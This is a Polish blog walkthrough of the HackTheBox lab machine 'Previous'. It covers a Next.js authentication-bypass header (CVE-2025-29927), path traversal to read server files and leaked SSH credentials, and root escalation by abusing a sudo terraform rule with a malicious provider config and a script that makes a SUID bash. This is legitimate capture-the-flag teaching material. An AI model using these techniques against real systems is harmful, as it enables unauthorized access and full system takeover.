Blog | Ravr

[PL] HackTheBox - Previous

htb

January 10, 2026

HTB machine logo

Previous


HTB

Os
Linux
Trudność
Średnia
Premiera
August 23, 2025
Punkty
30

HTB

Twórca
HTB - creator
User blood
HTB - userBlood
Root blood
HTB - rootBlood

Rekonesans

Nmap

Nmap znajduje 2 otwarte porty:

  • 22 (ssh)
  • 80 (http)
rvr@rvr$ nmap -p- --min-rate 10000 -oN nmap.all-ports 10.10.11.83
# Nmap 7.94SVN scan initiated Wed Jan  6 12:30:20 2026 as: nmap -p- --min-rate 10000 -oN nmap.all-ports 10.10.11.83
Nmap scan report for 10.10.11.83
Host is up (0.72s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

rvr@rvr$ nmap -sCV -p22,80 10.10.11.83
# Nmap 7.94SVN scan initiated Wed Jan  6 12:59:41 2026 as: nmap -sCV -p22,80 10.10.11.83
Nmap scan report for 10.10.11.83
Host is up (0.82s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://previous.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Jak to zazwyczaj bywa, i tym razem możemy pominąć port ssh. Baza podatności dla tej wersji, mimo dwóch krytycznych CVE, nie pozwoli nam dostać się do systemu bez znajomości hasła i nazwy użytkownika.

TCP 80 (HTTP) - previous.htb

Nmap od razu wykrył przekierowanie na domenę previous.htb, możemy więc umieścić ją w pliku /etc/hosts dla łatwiejszej interakcji z usługą http.

previous.htb - strona główna

Strona wygląda jak wizytówka biblioteki js. Po kliknięciu w dowolny z przycisków jesteśmy przenoszeni do strony logowania /api/auth/signin?callbackUrl=%2Fdocs:

previous.htb - przekierowanie

Technologie

Aplikacja została zbudowana w Next.js - frameworka javascript opartego o React.

previous.htb - technologie

Wtyczka wappalyzer jest w stanie dokładnie zidentyfikować jego wersję (Next.js 15.2.2):

previous.htb - wappalyzer

Możemy to potwierdzić w piku /_next/static/chunks/main-0221d9991a31a63c.js:

tcp 80 nextjs version

Dostęp początkowy

CVE-2025-55182 - niepowowdzenie

Typowe ataki na formularz logowania jak sql injection, nosql injection itd. nie przyniosły porządanego efektu. Następną metodą, którą warto przetestować w przypadku next.js są głośne ostatnimi czasy podatności - CVE-2025-55182 oraz CVE-2025-29927.

Pierwsza to RCE (ang. remote code execution) o maksymalnej wartości w skali CVSS (10.0). Podlinkowany wyżej blogpost, całkiem dobrze opisuje metodę weryfikacji, czy podatność rzeczywiście istnieje:

react2shell - test

Dostajemy odpowiedź taką jak zawsze - 200 OK. W przypadku sukcesu (tj. wystąpieniu podatności) powinniśmy ujrzeć błąd 500 i E{"digest" w ciele odpowiedzi - nie ma więc mowy o tej podatności w testowanej aplikacji.

CVE-2025-29927

Kolejna głośna podatność (ominięcie uwierzytelnienia) bazuje na dodatkowym nagłówku, który musimy umieścić w żądaniu do aplikacji. Żądanie to powinno odwoływać się do lokalizacji, która chroniona jest jakiegoś rodzaju uwierzytelnieniem. Z reguły wystarczy nagłówek: x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware o ile wersja next.js jest wyższa niż 13.2.0 (a tak jest też w naszym przypadku). Oczywiście wariacji tego nagłówka może być kilka, to wszystko zależy od struktury samej aplikacji czy wersji frameworka.

Spróbujmy więc dodać taki nagłówek do chronionego zasobu, np. /docs:

CVE-2025-29927 - obejście uwierzytelnienia

HTTP 200 OK, tytuł strony wskazuje na Docs a nie 401 Unauthorized jak wcześniej, a więc sukces!

Najlepiej teraz dodać regułę match and replace w burpie, aby nagłówek ten był zawsze dołączony. To znacznie ułatwi korzystanie ze strony, gdyż każde żądanie będzie teraz omijało uwierzytelnienie next.js:

burp - dodanie nagłówka do wszystkich żądań

Path traversal i czytanie plików

Po przejrzeniu aplikacji, szybko odnajdujemy endpoint /api/download?example=hello-world.ts:

previous.htb - path traversal

Na myśl od razu przychodzi więc path traversal i możliwość czytania plików na serwerze (tu dla przykładu plik /etc/passwd, do którego uzyskujemy dostęp):

previous.htb - path traversal - /etc/passwd

Jakie pliki powinniśmy teraz odczytać? Możliwości jest wiele, poniżej kilka propozycji:

  • /proc/self/environ ze zmiennymi środowiskowmi procesu,
  • /proc/self/cmdline z poleceniem jakie zostało użyte do utworzenia procesu,
  • pliki aplikacji

Z pliku /proc/self/environ wiemy, że kod aplikacji znajduje się w /app:

/proc/self/environ

Powinniśmy teraz przyjrzeć się kodowi źródłowemu działającej aplikacji, być może znajdziemy tam coś, co przyda się w dalszej eksploitacji. Ale żeby tego dokonać muimy znać typową strukturę aplikacji napisanej w next.js.

W takim wypadku najlepiej jest stworzyć przykładowy projekt, zbudować go i zajrzeć do wygenerowanych plików:

rvr@rvr$ npx create-next-app@latest my-app --yes
rvr@rvr$ cd my-app
rvr@rvr$ npm run build

Dla naszych potrzeb najbardziej istotny będzie folder .next, który:

Holds everything needed to execute, optimize, and serve your Next.js application. (Zawiera wszystko co potrzebne do wykonania, optymalizacji i udostępnienia aplikacji Next.js)

W mojej testowej aplikacji folder ten wygląda następująco:

Przykładowa aplikacji next.js

Z naszej perspektywy najciekawszy wydaje się plik: .next/server/pages-manifest.json, gdyż to tu znajdziemy przemapowanie scieżek aplikacji na pliki js/html. Dla aplikacji previous.htb jego zawartość wygląda następująco:

path traversal - pages-manifest.json

Od razu wzrok przykuwa plik pages/api/auth/[...nextauth].js - nazwa auth jest jednoznaczna, to tu mogą znajdować się dane potrzebne do uwierzytelnienia. Sprawdzamy:

path traversal - nextauth.js

Łatwo poszło, mamy parę login i hasło: jeremy:MyNameIsJeremyAndILovePancakes.

Shell jako jeremy

Znalezione credentiale pasują do ssh. Możemy teraz odczytać plik user.txt:

jeremy@previous:~$ ls
docker  user.txt
jeremy@previous:~$ cat user.txt 
f607efe5*************************

Enumeracja

Podstawowa enumeracja sudo -l wskazuje na niecodzienną regułę sudo z binarką terraform:

jeremy@previous:~$ sudo -l
[sudo] password for jeremy: 
Matching Defaults entries for jeremy on previous:
    !env_reset, env_delete+=PATH, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jeremy may run the following commands on previous:
    (root) /usr/bin/terraform -chdir\=/opt/examples apply

Warto zauważyć także parametr !env_reset, gdyż zapobiega on wyczyszczeniu zmiennych środowiskowych użytkownika przy wykonywaniu poleceń. Oznacza to, że dowolona zmienna środowiskowa przekazana do sudo <CMD> zostanie wzięta pod uwagę podczas uruchamiania danej komendy. To od programu wykonywanego razem z sudo będzie zależeć czy ją wykorzysta, czy też nie. Co więcej, dotyczy to także zmiennych już istniejących jak $HOME, $USER etc. (za wyjątkiem zmiennej $PATH, gdyż ta zostanie pominięta, o czym świadczy reguła env_delete+=PATH).

Shell jako root

Eskalacja uprawnień

Terraform to otwartoźródłowe narzędzie IaC (infrastructure as a code) umożliwiające zarządzenie lokalnymi i chmurowymi komponentami infrastruktury poprzez łatwe w pisaniu i utrzymaniu pliki konfiguracyjne.

Wywołując pełną komendę sudo dostajemy poniższy wynik:

jeremy@previous:~$ sudo /usr/bin/terraform -chdir\=/opt/examples apply
╷
│ Warning: Provider development overrides are in effect
│
│ The following provider development overrides are set in the CLI configuration:
│  - previous.htb/terraform/examples in /usr/local/go/bin
│
│ The behavior may therefore not match any released version of the provider and applying changes may cause the state to become incompatible with published releases.
╵
examples_example.example: Refreshing state... [id=/home/jeremy/docker/previous/public/examples/hello-world.ts]

No changes. Your infrastructure matches the configuration.

Terraform has compared your real infrastructure against your configuration and found no differences, so no changes are needed.

Apply complete! Resources: 0 added, 0 changed, 0 destroyed.

Outputs:

destination_path = "/home/jeremy/docker/previous/public/examples/hello-world.ts"

Łącząc to wszystko możemy założyć, że ścieżka eskalacji będzie bazować na jakiejś zmiennej środowiskowej działającej w terraform. Wśród wielu takich zmiennych, z całą pewnością wyróżnia się TF_CLI_CONFIG_FILE:

terraform env vars

Możliwość załadowania customowych ustawień podczas uruchamiania programu daje duże możliwości, ale może być również proszeniem się o problemy. W dokumentacji widzimy, że możliwe jest takie skonfigurowanie “dostawcy” pluginów do terraform, który nie korzysta z zewnętrznego rejestru, ale wykorzystuje ścieżkę lokalną. To w połączeniu z opcją dev_overrides pozwala dodatkowo ominąć sprawdzenie wersji i sumy kontrolnej (przydatne dla środowisk developerskich). Przykład z dokumentacji:

provider_installation {

  # Use /home/developer/tmp/terraform-null as an overridden package directory
  # for the hashicorp/null provider. This disables the version and checksum
  # verifications for this provider and forces Terraform to look for the
  # null provider plugin in the given directory.
  dev_overrides {
    "hashicorp/null" = "/home/developer/tmp/terraform-null"
  }

  # For all other providers, install them directly from their origin provider
  # registries as normal. If you omit this, Terraform will _only_ use
  # the dev_overrides block, and so no other providers will be available.
  direct {}
}

Commands like terraform apply will disregard the lock file’s entry for hashicorp/null and will use the given directory instead.

Terraform oczekuje, że w katalogu podanym w dev_overrides tj. /home/developer/tmp/terraform-null znajdzie się plik wykonywalny o nazwie zgodnej z konwencję nazewnictwa terraform-provider-NAZWA, gdzie NAZWA jest zgodna z typem w dev_overrides (dla przykładu wyżej terraform-provider-null). Możemy więc podstawić tam nasz złośliwy plik, np. skrypt w bashu, który zostanie wykonany w momencie uruchomienia komendy sudo /usr/bin/terraform -chdir\=/opt/examples apply.

Co więcej, terraform dzięki -chdir\=/opt/examples w regule sudo uruchamia wszystkie pliki .tf z katalogu /opt/examples. A tam widzimy:

jeremy@previous:~$ ls -la /opt/examples/
total 28
drwxr-xr-x 3 root root 4096 Jan 12 16:09 .
drwxr-xr-x 5 root root 4096 Aug 21 20:09 ..
-rw-r--r-- 1 root root   18 Apr 12  2025 .gitignore
drwxr-xr-x 3 root root 4096 Aug 21 20:09 .terraform
-rw-r--r-- 1 root root  247 Aug 21 18:16 .terraform.lock.hcl
-rw-r--r-- 1 root root  576 Aug 21 18:15 main.tf
-rw-r--r-- 1 root root 1097 Jan 12 16:09 terraform.tfstate

main.tf wygląda tak:

jeremy@previous:~$ cat /opt/examples/main.tf 
terraform {
  required_providers {
    examples = {
      source = "previous.htb/terraform/examples"
    }
  }
}

variable "source_path" {
  type = string
  default = "/root/examples/hello-world.ts"

  validation {
    condition = strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..")
    error_message = "The source_path must contain '/root/examples/'."
  }
}

provider "examples" {}

resource "examples_example" "example" {
  source_path = var.source_path
}

output "destination_path" {
  value = examples_example.example.destination_path
}

Plik należy do użytkownika root, więc nie możemy go zmodyfikować. Stąd nasz własny provider musi mieć dokładnie taką nazwę: previous.htb/terraform/examples, aby podczas uruchomienia main.tf terraform mógł go wykorzystać.

Tworzymy plik /tmp/evil-terraform/evil-config.tfrc ze złośliwą konfiguracją:

provider_installation {

  dev_overrides {
    "previous.htb/terraform/examples" = "/tmp/evil-terraform/"
  }

  direct {}
}

A następnie złośliwy plik wykonywalny /tmp/evil-terraform/terraform-provider-examples (jw. nazwa wynika z konwencji nazewnictwa providerów, o której wspomniałem wyżej):

#!/bin/bash
cp /bin/bash /tmp/basher
chmod +s /tmp/basher

Uruchamiamy komendę apply pamiętając o podaniu wcześniej zmiennej środowiskowej:

jeremy@previous:/tmp/evil-terraform$ TF_CLI_CONFIG_FILE=/tmp/evil-terraform/evil-config.tfrc sudo terraform -chdir=/opt/examples apply
╷
│ Warning: Provider development overrides are in effect
│
│ The following provider development overrides are set in the CLI configuration:
│  - previous.htb/terraform/examples in /tmp/evil-terraform
│
│ The behavior may therefore not match any released version of the provider and applying changes may cause the state to become incompatible with published releases.
╵
╷
│ Error: Failed to load plugin schemas
│
│ Error while loading schemas for plugin components: Failed to obtain provider schema: Could not load the schema for provider previous.htb/terraform/examples: failed to
│ instantiate provider "previous.htb/terraform/examples" to obtain schema: Unrecognized remote plugin message:
│ Failed to read any lines from plugin's stdout
│ This usually means
│   the plugin was not compiled for this architecture,
│   the plugin is missing dynamic-link libraries necessary to run,
│   the plugin is not executable by this process due to file permissions, or
│   the plugin failed to negotiate the initial go-plugin protocol handshake
│
│ Additional notes about plugin:
│   Path: /tmp/evil-terraform/terraform-provider-examples
│   Mode: -rwxrwxr-x
│   Owner: 1000 [jeremy] (current: 0 [root])
│   Group: 1000 [jeremy] (current: 0 [root])..

Mimo że wykonanie kończy się błędem, w /tmp/ zobaczymy plik basher będący kopią basha z ustawioną flagą suid, która da możliwość uruchomienia go jako właściciel pliku (czyli root), po podaniu komendy /tmp/basher -p:

jeremy@previous:/tmp/evil-terraform$ ls -la /tmp/
total 2808
drwxrwxrwt 13 root   root      4096 Jan  8 23:44 .
drwxr-xr-x 18 root   root      4096 Aug 21 20:23 ..
drwxrwxrwt  2 root   root      4096 Jan  8 15:58 .ICE-unix
drwxrwxrwt  2 root   root      4096 Jan  8 15:58 .Test-unix
drwxrwxrwt  2 root   root      4096 Jan  8 15:58 .X11-unix
drwxrwxrwt  2 root   root      4096 Jan  8 15:58 .XIM-unix
drwxrwxrwt  2 root   root      4096 Jan  8 15:58 .font-unix
-rwsr-sr-x  1 root   root   1396520 Jan  8 23:44 basher

jeremy@previous:/tmp/evil-terraform$ /tmp/basher -p
basher-5.1# id
uid=1000(jeremy) gid=1000(jeremy) euid=0(root) egid=0(root) groups=0(root),1000(jeremy)
basher-5.1# whoami
root
basher-5.1# cat /root/root.txt
febb16a*************************

Co oczywiście pozwoli nam odczytać flagę umieszczoną w /root/root.txt i przejąć pełną kontrolę nad systemem.

Alternatywna ścieżka eskalacji

Jak wspomniałem wyżej:

!env_reset nie czyści zmiennych środowiskowych użytkownika przy wykonywaniu poleceń

Z tego powodu w sudo będzie widoczna zmienna środowiskowa $HOME należącą do użytkownika jeremy. W dokumentacji terraform mamy taką informację:

If the configuration file is created in your operating system user directory with the name .terraformrc, it will always be used.

Oznacza to, że jeśli w katalogu domowym użytkownika znajdzie się plik konfiguracyjny .terraformrc to będzie on brany pod uwagę przy uruchomieniu terraform. Zatem, naszą złośliwą konfigurację możemy po prostu umieścić w ~/.terraformrc, gdyż mamy tam prawa do zapisu. Konfiguracja ta jest identyczna jak wcześniej:

provider_installation {

  dev_overrides {
    "previous.htb/terraform/examples" = "/tmp/evil-terraform/"
  }

  direct {}
}

Wystarczy więc teraz uruchomić komendę: sudo terraform -chdir=/opt/examples apply, by terraform ponownie wykonał nasz złośliwy plik /tmp/evil-terraform/terraform-provider-examples dając nam dostęp do roota.

© 2026, Code by ravr & powered by Gatsby